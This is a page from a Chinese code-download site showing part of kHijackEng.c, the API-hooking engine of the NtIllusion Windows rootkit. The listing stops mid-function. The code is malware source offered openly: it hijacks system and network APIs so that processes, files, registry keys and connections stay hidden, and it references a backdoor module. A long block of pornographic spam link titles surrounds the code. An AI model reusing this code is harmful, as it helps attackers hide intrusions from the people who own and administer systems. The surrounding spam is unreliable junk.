亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? khijackeng.c

?? rootit uloading by benina
?? C
?? 第 1 頁 / 共 2 頁
字號:
/******************************************************************************
  kHijackEng.c	: ROOTKIT *HIJACK ENGINE*
  *****************************************************************************
  Author		: Kdm (Kodmaker@syshell.org)
  WebSite		: http://www.syshell.org

  Copyright (C) 2003,2004 Kdm
  *****************************************************************************
  This file is part of NtIllusion.

  NtIllusion is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.

  NtIllusion is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with NtIllusion; if not, write to the Free Software
  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  ******************************************************************************/

#include <winsock2.h>				// for socket hijack (kNTIFlow.h)
#include <iprtrmib.h>				// for socket hijack (kNTIFlow.h)
#include <windows.h>				// ;)
#include <tlhelp32.h>				// Tool help 32 functions
#include "kHijackEng.h"				// Hijack engine header
#include "../../Misc/kNTIConfig.h"	// Config file
#include "../../Misc/kNTILib.h"		// Internal runtime
#include "../../Misc/kdbg_IAT.h"	// Runtime Debug
#include "kDisAsm/kEPhook.h"


// Replacement functions :
#include "../../Replacements/Registry/kNTIReg.h"	// registry			(hiding)
#include "../../Replacements/Spawning/kNTISpawn.h"	// process spawning (injection)
#include "../../Replacements/Process/kNTIProcess.h"	// process			(hiding)
#include "../../Replacements/Network/kNTINetHide.h"	// netwok			(hiding)
#include "../../Replacements/Network/kNTIFlow.h"	// netwok			(backdoor)
#include "../../Replacements/Files/kNTIFiles.h"		// files			(hiding)



// Pointers to non-hijacked functions
extern FARPROC fRegEnumValueW;		// Unicode
extern FARPROC fGetProcAddress;
extern FARPROC fCreateProcessW;		// Unicode
extern FARPROC fLoadLibrary;		// Ainsi
extern FARPROC fNtQuerySystemInformation;
extern FARPROC fWSARecv;
extern FARPROC frecv;
// File enumeration
extern FARPROC fFindFirstFileA;		// Ainsi
extern FARPROC fFindNextFileA;		// Ainsi
extern FARPROC fFindFirstFileW;		// Unicode
extern FARPROC fFindNextFileW;		// Unicode
// Network
extern FARPROC fGetTcpTable;
extern FARPROC fAllocateAndGetTcpExTableFromStack;
extern FARPROC fDeviceIoControl;
extern FARPROC fCharToOemBuffA;
extern FARPROC fWriteFile;
extern char ExePath[1024+1];		// full path to current injected exe

extern char* kNTIDllName;
FARPROC fCreateToolhelp32Snapshot;
FARPROC nti_fModule32First;
FARPROC nti_fModule32Next;
FARPROC nti_OpenThread;
FARPROC nti_Thread32First;
FARPROC nti_Thread32Next;



void MarkModuleAsHooked()
{
	PIMAGE_DOS_HEADER pDosHdr=NULL;
	DWORD dwProtect=0, dwNewProtect=0;

	pDosHdr = (PIMAGE_DOS_HEADER) GetModuleHandle(NULL);
	if(!pDosHdr)
	{
		OutputString("Cannot get Dos header address\n");
		return;
	}

	// Grant write access
	VirtualProtect((LPVOID)(&(pDosHdr->e_csum)), sizeof(WORD), PAGE_READWRITE, &dwProtect);
	// Overwrite :)
	pDosHdr->e_csum = NTI_SIGNATURE;
	// Restore previous memory protection
	VirtualProtect((LPVOID)(&(pDosHdr->e_csum)), sizeof(WORD),dwProtect, &dwNewProtect);
}

// Returns 1 if process is already hooked, 0 instead
int IsModuleAlreadyHooked()
{
	PIMAGE_DOS_HEADER pDosHdr=NULL;
	DWORD dwProtect=0, dwNewProtect=0;
	WORD ntiSign=0;

	pDosHdr = (PIMAGE_DOS_HEADER) GetModuleHandle(NULL);
	if(!pDosHdr)
	{
		OutputString("Cannot get Dos header address\n");
		return 0;
	}

	// Grant read access
	VirtualProtect((LPVOID)(&(pDosHdr->e_csum)), sizeof(WORD), PAGE_READONLY, &dwProtect);
	// Read
	ntiSign = pDosHdr->e_csum;
	// Restore previous memory protection
	VirtualProtect((LPVOID)(&(pDosHdr->e_csum)), sizeof(WORD), dwProtect, &dwNewProtect);

	return (ntiSign==NTI_SIGNATURE)? 1 : 0;
}

int WakeUpProcess(DWORD pid)
{
    HANDLE hSnap, hThread;
	DWORD dPID=pid;
	THREADENTRY32 ThEnt = {0};
	HINSTANCE hInstLib=0;

	OutputString("Waking up current process...\n");

	hInstLib = LoadLibrary("kernel32.dll");

	if(!fGetProcAddress)
	{
		OutputString("!fGetProcAddress  !!.\n");
		fGetProcAddress = (FARPROC) GetProcAddress;
	}

	nti_OpenThread = (FARPROC) fGetProcAddress(hInstLib,"OpenThread");

	if(!nti_OpenThread)
	{
		OutputDebugString("!OpenThread\n");
		return 0;
	}


	fCreateToolhelp32Snapshot   = (FARPROC) fGetProcAddress(hInstLib,"CreateToolhelp32Snapshot");
	nti_Thread32First			= (FARPROC) fGetProcAddress(hInstLib, "Thread32First");
	nti_Thread32Next			= (FARPROC) fGetProcAddress(hInstLib, "Thread32Next");
	
	if(!fCreateToolhelp32Snapshot || !nti_Thread32First || !nti_Thread32Next)
	{
		OutputString("Resolve failed.\n");
		return 0;
	}

	ThEnt.dwSize = sizeof(THREADENTRY32);

	hSnap = (HANDLE) (*fCreateToolhelp32Snapshot)(TH32CS_SNAPTHREAD, dPID);

	if(hSnap == INVALID_HANDLE_VALUE)
	{
		OutputString("CreateToolhelp32Snapshot ERROR\n");
		return 0;
	}

	if ((*nti_Thread32First)(hSnap, &ThEnt)) 
    { 
        do 
        { 
            if (ThEnt.th32OwnerProcessID == dPID) 
            { 
				hThread = (HANDLE) (*nti_OpenThread)(THREAD_SUSPEND_RESUME, FALSE, ThEnt.th32ThreadID);
				if(hThread)
				{
					ResumeThread(hThread);
				}
            } 
        } 
        while ((*nti_Thread32Next)(hSnap, &ThEnt)); 
    } 
	FreeLibrary(hInstLib);
	CloseHandle(hSnap);
	return 1;
}


FARPROC WINAPI MyGetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
/*
	char tmp[256], str[256];	// temp string / non unicode string
	DWORD OldProtect;
	HANDLE hMod;

	//The following lines try to retrieve lpPrcName content whatever its memory protection :
	VirtualProtect((void*)lpProcName, 8, PAGE_EXECUTE_READWRITE, &OldProtect);
	hMod = GetCurrentProcess();
	if(hMod==0)	
		goto end;
	my_memset(tmp, 0, 256);
	my_memset(str, 0, 256);
	// for some reason, lpProcName is sometimes in a locked memory state, in this case, we skip.
	if(!ReadProcessMemory( hMod, (void*)lpProcName, (void*)tmp, 40, 0))	
		goto end;

	//Convert strings from unicode :
	WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)lpProcName, -1, str, 255,NULL, NULL);
	OutputString("GetProcAddress => %s\n", lpProcName);



//	if(!stricmp(lpProcName, "GetProcAddress") || !stricmp(tmp, "GetProcAddress"))
//		return (FARPROC)MyGetProcAddress;


	//if(!stricmp(lpProcName, "CreateProcessW") || !stricmp(tmp, "CreateProcessW"))
	//	return (FARPROC)MyCreateProcessW;

	if(!stricmp(lpProcName, "LoadLibraryA") || !stricmp(tmp, "LoadLibraryA"))
		return (FARPROC)MyLoadLibrary;
	if(!stricmp(lpProcName, "NtQuerySystemInformation") || !stricmp(tmp, "NtQuerySystemInformation"))
		return (FARPROC)MyNtQuerySystemInformation;
	if(!stricmp(lpProcName, "RegEnumValueW") || !stricmp(tmp, "RegEnumValueW"))
		return (FARPROC)MyRegEnumValue;

	if(!stricmp(lpProcName, "FindFirstFileA") || !stricmp(tmp, "FindFirstFileA"))
		return (FARPROC)MyFindFirstFileA;
	if(!stricmp(lpProcName, "FindFirstFileW") || !stricmp(tmp, "FindFirstFileW"))
		return (FARPROC)MyFindFirstFileW;
	if(!stricmp(lpProcName, "FindNextFileA") || !stricmp(tmp, "FindNextFileA"))
		return (FARPROC)MyFindNextFileA;
	if(!stricmp(lpProcName, "FindNextFileW") || !stricmp(tmp, "FindNextFileW"))
		return (FARPROC)MyFindNextFileW;


	if(!stricmp(lpProcName, "GetTcpTable") || !stricmp(tmp, "GetTcpTable"))
		return (FARPROC)MyGetTcpTable;

	if(!stricmp(lpProcName, "AllocateAndGetTcpExTableFromStack") 
		|| !stricmp(tmp, "AllocateAndGetTcpExTableFromStack"))
			return (FARPROC)MyAllocateAndGetTcpExTableFromStack;
end :
*/
	// This seems not to be an "hijack escape" try
  return (FARPROC) fGetProcAddress(hModule, lpProcName);
}
 

// This function patches all APIs for a module of the current process by
// delegatating the task to HijackApi
int HijackApiOfNewModule(HMODULE hLocalModule, const char* ModuleName, char *ExePath)
{
	int result;
	result = 0;
	//if(VERBOSE_API_LIST) OutputString("\nInspecting '%s' (%s)\n", ModuleName, (char*)ExePath);

	// o Hijack GetProcAddress :
	//result = HijackApiEx((hLocalModule), "KERNEL32.DLL", "GetProcAddress", ((VOID*)&MyGetProcAddress), ((VOID**)&fGetProcAddress));
	//ShowResultOfHijack(result, "GetProcAddress", ExePath, (char*)ModuleName);

	// o Hijack CreateProcessW :
	//result = HijackApiEx((hLocalModule), "kernel32.dll", "CreateProcessW", ((VOID*)&MyCreateProcessW), ((VOID**)&fCreateProcessW));
	//ShowResultOfHijack(result, "CreateProcessW", ExePath, (char*)ModuleName);
/*
	// o Hijack LoadLibraryA :
	result = HijackApi((hLocalModule), "KERNEL32.DLL", "LoadLibraryA", ((VOID*)&MyLoadLibrary), ((VOID**)&fLoadLibrary));
	ShowResultOfHijack(result, "LoadLibraryA", ExePath, (char*)ModuleName);


	// o Hijack NtQuerySystemInformation :
	result = HijackApi((hLocalModule), "NTDLL.DLL", "NtQuerySystemInformation", ((VOID*)&MyNtQuerySystemInformation), ((VOID**)&fNtQuerySystemInformation));
	ShowResultOfHijack(result, "NtQuerySystemInformation", ExePath, (char*)ModuleName);

	// o Hijack RegEnumValueW :
	result = HijackApi((hLocalModule), "ADVAPI32.DLL", "RegEnumValueW", (PVOID)&MyRegEnumValue, (PVOID*)&fRegEnumValueW);
	ShowResultOfHijack(result, "RegEnumValueW", ExePath, (char*)ModuleName);


	// o Hijack recv :
	result = HijackApi((hLocalModule), "wsock32.dll", "recv", (PVOID)&Myrecv, (PVOID*)&frecv);
	ShowResultOfHijack(result, "recv", ExePath, (char*)ModuleName);

	// o Hijack WSARecv :
	result = HijackApi((hLocalModule), "ws2_32.dll", "WSARecv", (PVOID)&MyWSARecv, (PVOID*)&fWSARecv);
	ShowResultOfHijack(result, "WSARecv", ExePath, (char*)ModuleName);


	// o Hijack FindFirstFileA :
	result = HijackApi((hLocalModule), "KERNEL32.DLL", "FindFirstFileA", (PVOID)&MyFindFirstFileA, (PVOID*)&fFindFirstFileA);
	ShowResultOfHijack(result, "FindFirstFileA", ExePath, (char*)ModuleName);
	
	// o Hijack FindNextFileA :
	result = HijackApi((hLocalModule), "KERNEL32.DLL", "FindNextFileA", (PVOID)&MyFindNextFileA, (PVOID*)&fFindNextFileA);
	ShowResultOfHijack(result, "FindNextFileA", ExePath, (char*)ModuleName);

	// o Hijack FindFirstFileW :
	result = HijackApi((hLocalModule), "KERNEL32.DLL", "FindFirstFileW", (PVOID)&MyFindFirstFileW, (PVOID*)&fFindFirstFileW);
	ShowResultOfHijack(result, "FindFirstFileW", ExePath, (char*)ModuleName);
	// o Hijack FindNextFileW :
	result = HijackApi((hLocalModule), "KERNEL32.DLL", "FindNextFileW", (PVOID)&MyFindNextFileW, (PVOID*)&fFindNextFileW);
	ShowResultOfHijack(result, "FindNextFileW", ExePath, (char*)ModuleName);

	
	// o Hijack GetTcpTable :
	result = HijackApi((hLocalModule), "IPHLPAPI.DLL", "GetTcpTable", (PVOID)&MyGetTcpTable, (PVOID*)&fGetTcpTable);
	ShowResultOfHijack(result, "GetTcpTable", ExePath, (char*)ModuleName);

	// o Hijack AllocateAndGetTcpExTableFromStack :
	result = HijackApi((hLocalModule), "IPHLPAPI.DLL", "AllocateAndGetTcpExTableFromStack", (PVOID)&MyAllocateAndGetTcpExTableFromStack, (PVOID*)&fAllocateAndGetTcpExTableFromStack);
	ShowResultOfHijack(result, "AllocateAndGetTcpExTableFromStack", ExePath, (char*)ModuleName);


	// o Hijack DeviceIoControl :
	result = HijackApi((hLocalModule), "kernel32.dll", "DeviceIoControl", (PVOID)&MyDeviceIoControl, (PVOID*)&fDeviceIoControl);
	ShowResultOfHijack(result, "DeviceIoControl", ExePath, (char*)ModuleName);

	// o Hijack CharToOemBuffA :
	result = HijackApi((hLocalModule), "USER32.DLL", "CharToOemBuffA", (PVOID)&MyCharToOemBuff, (PVOID*)&fCharToOemBuffA);
	ShowResultOfHijack(result, "CharToOemBuffA", ExePath, (char*)ModuleName);

	// o Hijack LogonUserA :
	//result = HijackApi((hLocalModule), "ADVAPI32.DLL", "LogonUserA", (PVOID)&MyLogonUser, (PVOID*)&fLogonUser);
	//ShowResultOfHijack(result, "LogonUserA", ExePath, (char*)ModuleName);

	// o Hijack CreateProcessWithLogonW :
	//result = HijackApi((hLocalModule), "ADVAPI32.DLL", "CreateProcessWithLogonW", (PVOID)&MyCreateProcessWithLogonW, (PVOID*)&fCreateProcessWithLogonW);
	//ShowResultOfHijack(result, "CreateProcessWithLogonW", ExePath, (char*)ModuleName);

	// o Hijack WriteFile ?
if( (!WriteFile_FPORT_ONLY) || (WriteFile_FPORT_ONLY && strstr(ExePath,(char*)NTILLUSION_TARGET_FPORT)!=0))
{
	result = HijackApi((hLocalModule), "KERNEL32.DLL", "WriteFile", (PVOID)&MyWriteFile, (PVOID*)&fWriteFile);
	ShowResultOfHijack(result, "WriteFile", ExePath, (char*)ModuleName);
}
*/
	return 1;
}

int HookApi(char* DllName, char* FuncName, DWORD ReplacementFunc, FARPROC* pFunc)
{
  BYTE* CG_Func=NULL;
  FARPROC funcGetProcAddress=NULL;
  int ret=0;

  if(fGetProcAddress==NULL)
	  funcGetProcAddress = (FARPROC)GetProcAddress;
  else
	  funcGetProcAddress = fGetProcAddress;

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产乱码精品一区二区三| 亚洲精品免费在线播放| 欧美日韩高清一区二区不卡| 国产91高潮流白浆在线麻豆 | 欧美日韩成人一区| 欧美性猛交一区二区三区精品| 99久久精品免费| 色综合久久久久综合体| 91久久国产综合久久| 色av综合在线| 91精品视频网| 久久久久97国产精华液好用吗| 国产日韩欧美麻豆| 一区视频在线播放| 亚洲一区二区三区四区五区中文 | 精品国精品国产尤物美女| 久久久另类综合| 亚洲欧美在线另类| 亚洲最色的网站| 日本不卡在线视频| 国产精品一区二区你懂的| 成人免费va视频| 欧美午夜一区二区三区免费大片| 在线不卡中文字幕| 国产无遮挡一区二区三区毛片日本| 亚洲欧洲在线观看av| 亚洲午夜在线视频| 精品中文字幕一区二区| 99久久99久久免费精品蜜臀| 欧美美女视频在线观看| 26uuu色噜噜精品一区| 日韩毛片在线免费观看| 日本va欧美va欧美va精品| 国产精品自在在线| 在线一区二区三区四区五区| 日韩美女视频在线| 亚洲欧美另类久久久精品2019| 蜜桃视频一区二区三区在线观看| 成人白浆超碰人人人人| 日韩视频一区二区三区在线播放 | 精品一区二区三区在线观看| 色综合天天综合网天天狠天天| 在线不卡a资源高清| 中文字幕第一区综合| 视频一区二区三区入口| 成人在线一区二区三区| 91精品国产综合久久婷婷香蕉| 国产精品色噜噜| 奇米777欧美一区二区| 色噜噜狠狠色综合中国 | 国产suv精品一区二区883| 在线一区二区视频| 国产精品欧美经典| 国产美女精品人人做人人爽| 欧美日韩国产综合一区二区| 国产精品不卡在线观看| 国内久久精品视频| 欧美猛男超大videosgay| 亚洲手机成人高清视频| 国产一区二区三区精品欧美日韩一区二区三区 | 欧美做爰猛烈大尺度电影无法无天| 久久久精品日韩欧美| 偷拍自拍另类欧美| 欧美日韩你懂的| 亚洲精品一二三四区| av欧美精品.com| 国产精品卡一卡二| 国产精品伊人色| 久久女同精品一区二区| 国内精品久久久久影院色| 日韩一级高清毛片| 午夜精品久久久| 欧美人与z0zoxxxx视频| 天天影视色香欲综合网老头| 欧美日本在线看| 性欧美大战久久久久久久久| 欧美另类一区二区三区| 亚洲成av人片在线| 欧美剧情电影在线观看完整版免费励志电影| 最新日韩在线视频| 91蝌蚪porny成人天涯| 亚洲人成精品久久久久| 欧美色老头old∨ideo| 亚洲午夜久久久久久久久久久 | 久久久国产精品不卡| 国产一区二区三区视频在线播放| 久久综合久色欧美综合狠狠| 国产麻豆精品在线观看| 成人欧美一区二区三区黑人麻豆| 色综合天天性综合| 午夜激情综合网| 欧美tk丨vk视频| 粉嫩久久99精品久久久久久夜| 中文字幕视频一区| 在线观看不卡一区| 视频一区二区不卡| 久久网站热最新地址| 成人h精品动漫一区二区三区| 亚洲素人一区二区| 欧美日韩免费电影| 国产麻豆精品theporn| 亚洲欧美日韩系列| 欧美一级二级三级蜜桃| 成人免费视频一区二区| 亚洲国产精品久久久久秋霞影院| 日韩精品中午字幕| 99精品视频一区| 日本不卡在线视频| 亚洲国产成人午夜在线一区| 欧美欧美午夜aⅴ在线观看| 国产成人午夜高潮毛片| 亚洲一级二级三级在线免费观看| 日韩欧美一二三区| 91麻豆国产在线观看| 久久精品理论片| 一个色综合av| 国产丝袜欧美中文另类| 欧美日韩免费电影| 成人av网址在线| 经典三级在线一区| 亚洲韩国精品一区| 中文字幕精品一区| 精品三级av在线| 欧美色图在线观看| 成人高清av在线| 狠狠狠色丁香婷婷综合久久五月| 亚洲乱码国产乱码精品精可以看| 久久这里只有精品视频网| 91成人免费电影| 94-欧美-setu| 国产999精品久久久久久绿帽| 日韩黄色免费网站| 亚洲在线中文字幕| 亚洲美腿欧美偷拍| 中文字幕欧美激情一区| 久久综合网色—综合色88| 欧美精品自拍偷拍| 色婷婷av一区二区三区软件| caoporn国产精品| 国产毛片精品国产一区二区三区| 久久成人精品无人区| 午夜成人在线视频| 亚洲国产精品一区二区www| 一色桃子久久精品亚洲| 国产精品毛片久久久久久久| 久久久久97国产精华液好用吗| 精品久久久久久久久久久久久久久久久 | 中文字幕字幕中文在线中不卡视频| 久久久亚洲精华液精华液精华液| 91精品国产综合久久精品麻豆| 欧美日韩国产经典色站一区二区三区 | 久久国内精品自在自线400部| 亚洲二区在线视频| 午夜影院久久久| 午夜精品一区二区三区电影天堂 | 色婷婷精品大在线视频| 91麻豆精品视频| 欧美午夜免费电影| 在线精品视频免费观看| 欧美日韩在线播放三区| 欧美日韩成人激情| 欧美一二三区在线观看| 精品免费视频一区二区| 久久久国产午夜精品| 国产精品久久久久久妇女6080| 国产精品天天看| 亚洲激情自拍视频| 亚洲国产精品久久久男人的天堂| 日韩在线一区二区| 久久国产精品第一页| 国产剧情在线观看一区二区| 成人综合婷婷国产精品久久免费| 色综合久久久网| 欧美电影在哪看比较好| 精品日韩欧美一区二区| 国产精品护士白丝一区av| 亚洲一区二区三区中文字幕在线 | 中文字幕永久在线不卡| 一区二区三区高清不卡| 日本成人中文字幕| 国产精品一区二区在线播放| 97国产一区二区| 日韩精品中文字幕在线一区| 亚洲天堂免费在线观看视频| 青青草国产精品亚洲专区无| 成人做爰69片免费看网站| 欧美视频一区在线| 精品成人在线观看| 亚洲免费在线看| 紧缚奴在线一区二区三区| 99久久精品国产麻豆演员表| 日韩免费电影网站| 一区二区在线免费| 国产一区二区三区久久久| 欧美色涩在线第一页| 欧美高清在线一区| 日本欧美一区二区| 欧美中文字幕一二三区视频| 久久久国产一区二区三区四区小说 | 午夜精品一区二区三区三上悠亚|